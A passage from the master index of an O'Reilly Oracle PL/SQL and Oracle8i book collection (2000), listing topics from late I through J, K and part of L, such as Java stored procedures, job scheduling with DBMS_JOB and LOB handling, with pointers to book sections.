12.5.1. Initializing the Target, Advanced Oracle PL/SQL Programming with Packages
inline help: (see comments; help)
inner tables: 19.1. Types of Collections, Oracle PL/SQL Programming
input, considering case of: 22.7.4. Ensure Case Consistency of Parameters, Oracle PL/SQL Programming
insert conflicts
(see also uniqueness conflicts)
16. Conflict Resolution, Oracle Built-in Packages
insert_failure exception: 5.15.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
insertitem procedure: 5.18.3. Modifying list contents , Advanced Oracle PL/SQL Programming with Packages
insret.sp : 2.5.7.1. RETURNING from a single-row insert, Oracle Built-in Packages
install subdirectory
4.3.3. Beginning the Installation, Advanced Oracle PL/SQL Programming with Packages
4.6.1. Contents of the install Subdirectory, Advanced Oracle PL/SQL Programming with Packages
installing
PL/Vision Lite: 4.3. Installation Instructions, Advanced Oracle PL/SQL Programming with Packages
PL/Vision help packages: 4.4. Installing Online Help for PL/Vision, Advanced Oracle PL/SQL Programming with Packages
windows in packages: 2.7.2. Designing the Window Interface, Advanced Oracle PL/SQL Programming with Packages
instances of classes: 18.1.4.2. Classification , Oracle PL/SQL Programming
instantiation: (see also master sites, instantiation; snapshots, instantiation)
of objects: 18.2.2.1. PL/SQL usage , Oracle PL/SQL Programming
of program data, storage of: 23.1.4. Key Concepts for Program Execution, Oracle PL/SQL Programming
instsrv utility (Windows NT): 21.2.1. Step 1: Set Up the Listener, Oracle PL/SQL Programming
int_arr data structure, OWA_TEXT package: 7.2.1.1. Data structures, Oracle Web Applications
intab procedure
21.1.6. Displaying the Log, Advanced Oracle PL/SQL Programming with Packages
2.5.4.1. The "in table" procedural interface, Oracle Built-in Packages
intab.sp : 2.5.4.8. Full text of intab procedure, Oracle Built-in Packages
integers: 4.2.1.1. Binary integer datatypes, Oracle PL/SQL Programming
INT subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
INTEGER subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
PLS_INTEGER datatype: 4.2.1.3. The PLS_INTEGER datatype, Oracle PL/SQL Programming
SMALLINT subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
operations on, performance of: 25.4.5. Use PLS_INTEGER for All Integer Operations, Oracle PL/SQL Programming
integrity
1.3.5. Guaranteeing Transaction Integrity, Advanced Oracle PL/SQL Programming with Packages
21.1.5. Rolling Back with PLVlog, Advanced Oracle PL/SQL Programming with Packages
interMedia: 1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
interdependencies, package: 25.2.4. Creating Packages with Minimal Interdependencies, Oracle PL/SQL Programming
interface
PLVcmt package: 5.7. PLVcmt: Commit Processing, Advanced Oracle PL/SQL Programming with Packages
messages: (see messages)
packages
2.5. Constructing the Optimal Interface to Your Package, Advanced Oracle PL/SQL Programming with Packages
2.10.3. Simplifying Package Interfaces, Advanced Oracle PL/SQL Programming with Packages
to PL/SQL objects
5.20. PLVobj: Object Interface, Advanced Oracle PL/SQL Programming with Packages
11. PLVobj: A Packaged Interface to ALL_OBJECTS, Advanced Oracle PL/SQL Programming with Packages
to PLV_token table: 5.26. PLVtkn: Token Table Interface, Advanced Oracle PL/SQL Programming with Packages
to SQLERRM function: 6.4.2. Obtaining the Error Message, Advanced Oracle PL/SQL Programming with Packages
to foreign key information: 5.12. PLVfk: Foreign Key Interface, Advanced Oracle PL/SQL Programming with Packages
top-down design: 1.3.3. Top-Down Design, Advanced Oracle PL/SQL Programming with Packages
user: 3.4. Improving the User Interface, Advanced Oracle PL/SQL Programming with Packages
window (trace): 2.7.2. Designing the Window Interface, Advanced Oracle PL/SQL Programming with Packages
interfact
DBMS_SQL package: 19.4. PLVdyn: A Code Layer over DBMS_SQL, Advanced Oracle PL/SQL Programming with Packages
internal LOBs
8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
8.2.1.6. The LOB locator, Oracle Built-in Packages
8.2.3. Internal LOB Considerations, Oracle Built-in Packages
1.4.7.6. Large object support, Oracle PL/SQL Programming
BFILE datatype versus: 4.2.7.7. Working with BFILEs, Oracle PL/SQL Programming
internal applications: 1.1. The Internet Grows Up, Oracle Web Applications
internal documentation: (see comments)
internationalization: (see also National Language Support)
NLS character datatypes: 4.2.6. NLS Character Datatypes, Oracle PL/SQL Programming
internet technology, overview: 1. Introduction, Oracle Web Applications
intersession communication: 3. Intersession Communication, Oracle Built-in Packages
problems using databases for: 3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
interval parameter (job scheduling): 13.1.2.4. The interval parameter, Oracle Built-in Packages
intval function: 10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
invalid action codes: 3.7. Handling Program Assumptions, Advanced Oracle PL/SQL Programming with Packages
invalids.sql : 15.3.4.3. The DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER procedure, Oracle Built-in Packages
invisible characters: (see whitespace)
invoker rights
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
combining with definer rights model: 3.4. Combining the Definer and Invoker Rights Models, Guide to Oracle8i Features
definer rights model: 3.1. A Look at the Definer Rights Model, Guide to Oracle8i Features
dynamic SQL and definer rights: 3.1.4. Dynamic SQL and Definer Rights, Guide to Oracle8i Features
overview: 3.2. The Invoker Rights Model, Guide to Oracle8i Features
rules and restrictions: 3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
schemas: 3.3. One Program, Multiple Schemas, Guide to Oracle8i Features
sharing NDS programs with: 4.6.1. Sharing NDS Programs with Invoker Rights, Guide to Oracle8i Features
syntax: 3.2.1. Invoker Rights Syntax, Guide to Oracle8i Features
is-a relationship: (see inheritance)
is_blank function: 5.6.2. Character type functions, Advanced Oracle PL/SQL Programming with Packages
is_builtin function
5.26.3. Determining type of token , Advanced Oracle PL/SQL Programming with Packages
10.2.2. Determining Token Type, Advanced Oracle PL/SQL Programming with Packages
is_datatype function
5.26.3. Determining type of token , Advanced Oracle PL/SQL Programming with Packages
10.2.2. Determining Token Type, Advanced Oracle PL/SQL Programming with Packages
is_delimiter function: 5.16.1. Analyzing PL/SQL string content, Advanced Oracle PL/SQL Programming with Packages
is_digit function: 5.6.2. Character type functions, Advanced Oracle PL/SQL Programming with Packages
is_exception function
5.26.3. Determining type of token , Advanced Oracle PL/SQL Programming with Packages
10.2.2. Determining Token Type, Advanced Oracle PL/SQL Programming with Packages
is_keyword function
5.26.3. Determining type of token , Advanced Oracle PL/SQL Programming with Packages
10.2.2. Determining Token Type, Advanced Oracle PL/SQL Programming with Packages
is_letter function: 5.6.2. Character type functions, Advanced Oracle PL/SQL Programming with Packages
is_made function: 5.18.2. Creating and destroying lists, Advanced Oracle PL/SQL Programming with Packages
is_nonprinting function: 5.6.2. Character type functions, Advanced Oracle PL/SQL Programming with Packages
is_oneline_comment function: 5.16.1. Analyzing PL/SQL string content, Advanced Oracle PL/SQL Programming with Packages
is_other function: 5.6.2. Character type functions, Advanced Oracle PL/SQL Programming with Packages
is_quote function: 5.6.2. Character type functions, Advanced Oracle PL/SQL Programming with Packages
is_symbol function
5.26.3. Determining type of token , Advanced Oracle PL/SQL Programming with Packages
10.2.2. Determining Token Type, Advanced Oracle PL/SQL Programming with Packages
is_syntax function
5.26.3. Determining type of token , Advanced Oracle PL/SQL Programming with Packages
10.2.2. Determining Token Type, Advanced Oracle PL/SQL Programming with Packages
isolation levels
2.4.2. Transaction Visibility, Guide to Oracle8i Features
6.1.4. The SET TRANSACTION Statement, Oracle PL/SQL Programming
itemin function: 5.24.4. Analyzing stack contents, Advanced Oracle PL/SQL Programming with Packages
iterative
assignment into rows: 10.6.2. Iterative Assignment , Oracle PL/SQL Programming
control structure: (see loops)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: J

Index: J

JAVA$CLASS$MD5$TABLE table, loadjava utility: 9.4. Using loadjava, Guide to Oracle8i Features
JAVASYSPRIV role: 9.2.3. Setting Oracle Privileges, Guide to Oracle8i Features
JAVAUSERPRIV role: 9.2.3. Setting Oracle Privileges, Guide to Oracle8i Features
JDBC (Java Database Connectivity)
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.7. Java, Oracle Web Applications
JDK (Java Development Kit): 9.2. Getting Ready to Use Java in Oracle, Guide to Oracle8i Features
JDelete class
9.3.2. Building a Custom Java Class, Guide to Oracle8i Features
9.9.1.1. Polishing up the delete method, Guide to Oracle8i Features
JFile.java file: 9.9.1. Extending File I/O Capabilities, Guide to Oracle8i Features
JOB_QUEUE_INTERVAL parameter: 13.2.1.2. JOB_QUEUE_INTERVAL, Oracle Built-in Packages
JOB_QUEUE_KEEP_CONNECTIONS parameter: 13.2.1.3. JOB_QUEUE_KEEP_CONNECTIONS, Oracle Built-in Packages
JOB_QUEUE_PROCESSES parameter: 13.2.1.1. JOB_QUEUE_PROCESSES , Oracle Built-in Packages
JPEG format: 1.3.9.2. Multimedia data, Oracle Web Applications
JPublisher utility: 9.1. Oracle8i and Java, Guide to Oracle8i Features
JSPs (Java stored procedures)
1.3.7. Java, Oracle Web Applications
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
JServer Accelerator: 1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
JVM (Java Virtual Machine)
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
Java
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.7. Java, Oracle Web Applications
DBMS_JAVA package: 9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
CORBA server objects: 1.3.7. Java, Oracle Web Applications
DBMS_JAVA_TEST package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
9.7.5. Using DBMS_JAVA_TEST , Guide to Oracle8i Features
Enterprise Java Beans(TM): 1.3.7. Java, Oracle Web Applications
JDBC: (see JDBC)
Java Virtual Machine
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
Java stored procedures: 1.3.7. Java, Oracle Web Applications
Oracle privileges, setting: 9.2.3. Setting Oracle Privileges, Guide to Oracle8i Features
PL/SQL
1.2. And Then There's Java, Guide to Oracle8i Features
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
SQLJ: 1.3.7. Java, Oracle Web Applications
building and compiling code: 9.2.2. Building and Compiling Your Java Code, Guide to Oracle8i Features
call specs: 9.8.1. Call Specs, Guide to Oracle8i Features
compiling and loading into Oracle: 9.3.3. Compiling and Loading into Oracle, Guide to Oracle8i Features
custom classes, building: 9.3.2. Building a Custom Java Class, Guide to Oracle8i Features
deleting files from PL/SQL: 9.3.5. Deleting Files from PL/SQL, Guide to Oracle8i Features
dropjava utility: 9.5. Using dropjava, Guide to Oracle8i Features
exception handling: 9.8.5. Exception Handling with Java, Guide to Oracle8i Features
extending file I/O capabilities: 9.9.1. Extending File I/O Capabilities, Guide to Oracle8i Features
functionality: 9.3.1. Finding the Java Functionality, Guide to Oracle8i Features
installing: 9.2. Getting Ready to Use Java in Oracle, Guide to Oracle8i Features
loaded java elements, examining: 9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
loadjava utility: 9.4. Using loadjava, Guide to Oracle8i Features
mapping datatypes: 9.8.3. Mapping Datatypes, Guide to Oracle8i Features
methods, calling in SQL: 9.8.4. Calling a Java Method in SQL, Guide to Oracle8i Features
passing objects to: 9.9.2. Passing Objects to Java, Guide to Oracle8i Features
servlets: 1.3.7. Java, Oracle Web Applications
using inside databases: 5. Bulking Up with PL/SQL 8.1, Guide to Oracle8i Features
wrappers
9.3.4. Building a PL/SQL Wrapper, Guide to Oracle8i Features
9.8.2. Some Rules for Java Wrappers, Guide to Oracle8i Features
Java Database Connectivity (JDBC)
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.7. Java, Oracle Web Applications
Java Integrated Development Environment: 1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
Java Virtual Machine
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
Java methods, calling in SQL: 9.8.4. Calling a Java Method in SQL, Guide to Oracle8i Features
Java stored procedures
1.3.7. Java, Oracle Web Applications
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
Julian dates: (see date)
java: 2.1. Resources, Oracle Web Applications
java.math.* classes: 9.9.2. Passing Objects to Java, Guide to Oracle8i Features
javac, java compiler: 9.2.1. Installing Java, Guide to Oracle8i Features
job numbers
13.1.2.1. The job parameter, Oracle Built-in Packages
13.2.5.1. The DBMS_JOB.SUBMIT procedure, Oracle Built-in Packages
13.2.5.2. The DBMS_JOB.ISUBMIT procedure, Oracle Built-in Packages
export/import utilities and: 13.2.3. Miscellaneous Notes, Oracle Built-in Packages
job parameter: 13.1.2.1. The job parameter, Oracle Built-in Packages
job queue
(see also job scheduling)
13. Job Scheduling in the Database, Oracle Built-in Packages
INIT.ORA parameters: 13.2.1. INIT.ORA Parameters and Background Processes, Oracle Built-in Packages
architecture: 13.2. Job Queue Architecture, Oracle Built-in Packages
number of processes: 13.2.1.1. JOB_QUEUE_PROCESSES , Oracle Built-in Packages
job scheduling
(see also job queue)
13. Job Scheduling in the Database, Oracle Built-in Packages
National Language Support and
13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
13.2.6.1. The DBMS_JOB.CHANGE procedure, Oracle Built-in Packages
13.2.6.4. The DBMS_JOB.WHAT procedure, Oracle Built-in Packages
Oracle Parallel Server and: 13.2.3. Miscellaneous Notes, Oracle Built-in Packages
Trusted Oracle and: 13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
broken jobs
fixing automatically: 13.4.2. Fixing Broken Jobs Automatically, Oracle Built-in Packages
setting/unsetting flag: 13.2.7.2. The DBMS_JOB.BROKEN procedure, Oracle Built-in Packages
changing job characteristics: 13.2.6. Modifying Job Characteristics, Oracle Built-in Packages
commitment and
13.2.5.1. The DBMS_JOB.SUBMIT procedure, Oracle Built-in Packages
13.2.7.3. The DBMS_JOB.RUN procedure, Oracle Built-in Packages
data dictionary views: 13.3.2. Viewing Job Information in the Data Dictionary, Oracle Built-in Packages
database links and
13.1.2.2. The what parameter, Oracle Built-in Packages
13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
definition parameters: 13.1.2. Job Definition Parameters, Oracle Built-in Packages
executing jobs: 13.2.7.3. The DBMS_JOB.RUN procedure, Oracle Built-in Packages
exporting jobs: 13.2.8.1. The DBMS_JOB.USER_EXPORT procedure, Oracle Built-in Packages
interval between executions: 13.1.2.4. The interval parameter, Oracle Built-in Packages
changing
13.2.6.1. The DBMS_JOB.CHANGE procedure, Oracle Built-in Packages
13.2.6.2. The DBMS_JOB.INTERVAL procedure, Oracle Built-in Packages
date arithmetic and: 13.3.1. Job Intervals and Date Arithmetic, Oracle Built-in Packages
interval for checking queue: 13.2.1.2. JOB_QUEUE_INTERVAL, Oracle Built-in Packages
managing other users' jobs: 13.3.3. DBMS_IJOB: Managing Other Users' Jobs , Oracle Built-in Packages
numbers for: (see job numbers)
removing jobs: 13.2.7.1. The DBMS_JOB.REMOVE procedure, Oracle Built-in Packages
retaining connections: 13.2.1.3. JOB_QUEUE_KEEP_CONNECTIONS, Oracle Built-in Packages
roles and: 13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
self-modifying jobs: 13.4.3. Self-Modifying and Self-Aware Jobs, Oracle Built-in Packages
session settings and: 13.1.2.2. The what parameter, Oracle Built-in Packages
stored procedure wrapping: 13.1.2.2. The what parameter, Oracle Built-in Packages
submitting jobs: 13.2.5.1. The DBMS_JOB.SUBMIT procedure, Oracle Built-in Packages
time of execution: 13.1.2.3. The next_date parameter, Oracle Built-in Packages
changing
13.2.6.1. The DBMS_JOB.CHANGE procedure, Oracle Built-in Packages
13.2.6.3. The DBMS_JOB.NEXT_DATE procedure, Oracle Built-in Packages
datatype inconsistency: 13.2.5.2. The DBMS_JOB.ISUBMIT procedure, Oracle Built-in Packages
what is executed: 13.1.2.2. The what parameter, Oracle Built-in Packages
changing: 13.2.6.4. The DBMS_JOB.WHAT procedure, Oracle Built-in Packages
with DBMS_JOB
C.5. DBMS_ JOB, Oracle PL/SQL Programming
1.4.5.3. Job scheduling with DBMS_ JOB, Oracle PL/SQL Programming
job1.sql : 13.2.8.1. The DBMS_JOB.USER_EXPORT procedure, Oracle Built-in Packages
job2.sql : 13.3.2. Viewing Job Information in the Data Dictionary, Oracle Built-in Packages
job3.sql : 13.3.3. DBMS_IJOB: Managing Other Users' Jobs , Oracle Built-in Packages
job4.sql : 13.4.3. Self-Modifying and Self-Aware Jobs, Oracle Built-in Packages
job5.sql : 13.4.2. Fixing Broken Jobs Automatically, Oracle Built-in Packages
job6.sql : 13.4.1. Tracking Space in Tablespaces, Oracle Built-in Packages
job_fixer procedure: 13.4.2. Fixing Broken Jobs Automatically, Oracle Built-in Packages
jobs.sql : 17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure, Oracle Built-in Packages
justifying text: 11.2.3. Filling Text to Fit a Line, Oracle PL/SQL Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: K

Index: K

KEEP program
1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
12.2.2.1. The DBMS_SHARED_POOL.KEEP procedure, Oracle Built-in Packages
25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
Keep Database Connection Open between Requests? parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
keep_all procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
keep_bi procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
keep_kw procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
keep_nonkw procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
keeper.sql : 12.2.4.1. Pinning packages automatically, Oracle Built-in Packages
keeptst.sql : 12.2.4.1. Pinning packages automatically, Oracle Built-in Packages
keys, object references versus: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
keywords: (see reserved words)
killing programs: 22.1.10. Bailing Out with PLVexc, Advanced Oracle PL/SQL Programming with Packages
kw_rectype type: 5.26.2. The keyword record TYPE, Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: L

Index: L

LAN: 1.1. The Internet Grows Up, Oracle Web Applications
LAST function
10.8.2. PL/SQL Table Built-ins, Oracle PL/SQL Programming
10.8.2.5. The LAST function, Oracle PL/SQL Programming
19.6.5. FIRST, LAST, Oracle PL/SQL Programming
LAST_DAY function: 12.1.2. The LAST_DAY function, Oracle PL/SQL Programming
LAST_ERROR_POSITION function
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function, Oracle Built-in Packages
C.14.10. The LAST_ERROR_POSITION function, Oracle PL/SQL Programming
SQLERRM and: 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function, Oracle Built-in Packages
LAST_ROW_COUNT function
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.10.2. The DBMS_SQL.LAST_ROW_COUNT function, Oracle Built-in Packages
C.14.11. The LAST_ROW_COUNT function, Oracle PL/SQL Programming
LAST_ROW_ID function
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.10.3. The DBMS_SQL.LAST_ROW_ID function, Oracle Built-in Packages
C.14.12. The LAST_ROW_ID function, Oracle PL/SQL Programming
LAST_SQL_FUNCTION_CODE function
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function, Oracle Built-in Packages
C.14.13. The LAST_SQL_FUNCTION_CODE function, Oracle PL/SQL Programming
LEAST function: 13.3.3. The LEAST function, Oracle PL/SQL Programming
LENGTH function
9.2.3.11. The UTL_RAW.LENGTH function, Oracle Built-in Packages
11.1.6. The LENGTH function, Oracle PL/SQL Programming
LENGTH property
21.4.1. Datatype Conversion, Oracle PL/SQL Programming
21.4.3.2. LENGTH property, Oracle PL/SQL Programming
LIMIT function: 19.6.6. LIMIT, Oracle PL/SQL Programming
LISTEN procedure, DBMS_AQ package
7.6.4. Improved Publish/Subscribe Support, Guide to Oracle8i Features
7.6.4.2. LISTEN: Listening for messages, Guide to Oracle8i Features
LISTPRINT procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
LIST_CONTEXT procedure, DBMS_SESSION package
8.4. SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information, Guide to Oracle8i Features
8.1. FGAC Components, Guide to Oracle8i Features
8.4.2. LIST_CONTEXT: Obtaining the List of Defined Context Attributes, Guide to Oracle8i Features
LN function: 13.1.11. The LN function, Oracle PL/SQL Programming
LOADFROMFILE procedure
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure, Oracle Built-in Packages
LOADLOBS package, loadjava utility: 9.4. Using loadjava, Guide to Oracle8i Features
LOB columns: (see LOBs, locators)
LOB variables: (see LOBs, locators)
LOBs
(see also DBMS_LOB package)
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
7.5. LOB Enhancements, Guide to Oracle8i Features
4.2.7. LOB Datatypes, Oracle PL/SQL Programming
8. Managing Large Objects , Oracle Built-in Packages
1.4.7.6. Large object support, Oracle PL/SQL Programming
BFILES: (see BFILEs)
BLOBs: 8.2.1. LOB Datatypes, Oracle Built-in Packages
CLOBs
8.2.1. LOB Datatypes, Oracle Built-in Packages
8.2.1.4. The CLOB datatype, Oracle Built-in Packages
DMBS_LOB package for: C.6. DBMS_LOB (PL/SQL8 Only), Oracle PL/SQL Programming
LONG datatypes and: 4.2.7.5. LOBs and LONGs, Oracle PL/SQL Programming
NCLOBs
8.2.1. LOB Datatypes, Oracle Built-in Packages
8.2.1.5. The NCLOB datatype, Oracle Built-in Packages
NULL data and locators: 8.2.3.3. NULL LOB locators can be a problem, Oracle Built-in Packages
appending: 8.3.3.1. The DBMS_LOB.APPEND procedure, Oracle Built-in Packages
comparing: 8.3.2.1. The DBMS_LOB.COMPARE function, Oracle Built-in Packages
concepts: 8.2. LOB Concepts, Oracle Built-in Packages
copying: 8.3.3.2. The DBMS_LOB.COPY procedure, Oracle Built-in Packages
cursors and: 8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
datatypes for
4.2.7. LOB Datatypes, Oracle PL/SQL Programming
8.2.1. LOB Datatypes, Oracle Built-in Packages
emptying columns: 8.2.3.4. NULL versus "empty" LOB locators, Oracle Built-in Packages
erasing: 8.3.3.3. The DBMS_LOB.ERASE procedure, Oracle Built-in Packages
external
8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
8.2.1.6. The LOB locator, Oracle Built-in Packages
functions for: 13.2. LOB Function Descriptions, Oracle PL/SQL Programming
internal
8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
8.2.1.6. The LOB locator, Oracle Built-in Packages
8.2.3. Internal LOB Considerations, Oracle Built-in Packages
length of: 8.3.2.2. The DBMS_LOB.GETLENGTH function, Oracle Built-in Packages
locators: 8.2.1.6. The LOB locator, Oracle Built-in Packages
pattern matching: 8.3.2.5. The DBMS_LOB.INSTR function, Oracle Built-in Packages
performance improvement using RETURNING clause: 8.2.3.2. The RETURNING clause, Oracle Built-in Packages
queue storage and: 5.3.3. Queue Type Names, Oracle Built-in Packages
reading: 8.3.2. Reading and Examining LOBs, Oracle Built-in Packages
substrings of: 8.3.2.4. The DBMS_LOB.SUBSTR function, Oracle Built-in Packages
transactions and: 8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
trimming: 8.3.3.4. The DBMS_LOB.TRIM procedure, Oracle Built-in Packages
writing: 8.3.3. Updating BLOBs, CLOBs, and NCLOBs, Oracle Built-in Packages
LOCAL_TRANSACTION_ID function
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.7.1. The DBMS_TRANSACTION.LOCAL_TRANSACTION_ID function, Oracle Built-in Packages
C.15.17. The LOCAL_TRANSACTION_ID function, Oracle PL/SQL Programming
LOCK TABLE statement
6.1.5. The LOCK TABLE Statement, Oracle PL/SQL Programming
3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
LOCK_OBJECT procedure: 9.2.5.2. The UTL_REF.LOCK_OBJECT procedure, Oracle Built-in Packages
LOG function: 13.1.12. The LOG function, Oracle PL/SQL Programming
LOGIN_DENIED exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
LOGIN_USER attribute, database-level event: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
LOGOFF events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
LOGON events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
LONG RAW datatype
4.2.3.5. The LONG RAW datatype, Oracle PL/SQL Programming
LOB datatypes and: 4.2.7.5. LOBs and LONGs, Oracle PL/SQL Programming
converting to a LOB: 7.5.1. The TO_LOB Function, Guide to Oracle8i Features
LONG columns: 4.2.3.3. The LONG datatype, Oracle PL/SQL Programming
and VARCHAR2 handling: 4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
LONG datatype
4.2.3.3. The LONG datatype, Oracle PL/SQL Programming
LOB datatypes and: 4.2.7.5. LOBs and LONGs, Oracle PL/SQL Programming
LONG datatype, converting to a LOB: 7.5.1. The TO_LOB Function, Guide to Oracle8i Features
LONG values
retrieving: 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure, Oracle Built-in Packages
static SELECT versus: 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure, Oracle Built-in Packages
LONGNAME function, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
9.7.1. LONGNAME: Converting Java Long Names, Guide to Oracle8i Features
LOOP keywords: (see loops)
LOWER function: 11.1.7. The LOWER function, Oracle PL/SQL Programming
LPAD function
3.9. Considering Implementation Options, Advanced Oracle PL/SQL Programming with Packages
11.1.8. The LPAD function, Oracle PL/SQL Programming
LRU (least-recently used) algorithm: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
LTRIM function
11.1.9. The LTRIM function, Oracle PL/SQL Programming
25.4.2. Zen and the Art of PL/SQL Tuning, Oracle PL/SQL Programming
Large objects: (see LOBs)
Linux operating system: 1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
l procedure
2.8.1.1. Supporting many data combinations, Advanced Oracle PL/SQL Programming with Packages
7.1. Using the l Procedure, Advanced Oracle PL/SQL Programming with Packages
7.4. Controlling Output from p, Advanced Oracle PL/SQL Programming with Packages
overloadings of: 5.2.4. The overloadings of the l procedure, Advanced Oracle PL/SQL Programming with Packages
PL/Vision: 6.1.6.1. Encapsulating DBMS_OUTPUT, Oracle Built-in Packages
labels
5.2.1. The GOTO Statement, Oracle PL/SQL Programming
delimiters for (>)
2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
5.2.1. The GOTO Statement, Oracle PL/SQL Programming
for blocks: 15.3.6. Block Labels, Oracle PL/SQL Programming
for loops
7.6.1. Loop Labels, Oracle PL/SQL Programming
and loop scope: 7.6.2.2. Scope with labels, Oracle PL/SQL Programming
language (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
language version (SQL statement parsing): 2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
laptops: 1.1. The Internet Grows Up, Oracle Web Applications
large objects: (see LOBs)
last-in, first-out queues: (see stacks)
last_line variable: 15.4.2.7. Showing code just once, Advanced Oracle PL/SQL Programming with Packages
lastsp function: 5.23.4. Managing savepoints , Advanced Oracle PL/SQL Programming with Packages
lava lamp effect: 2.9.2. Lava Lamp Code Consolidation, Advanced Oracle PL/SQL Programming with Packages
layaway package
(see also specific program names)
5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
layering packages: 2.9. Modularizing for Maintainable Packages, Advanced Oracle PL/SQL Programming with Packages
layers, code: (see packages)
least-recently used (LRU) algorithm: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
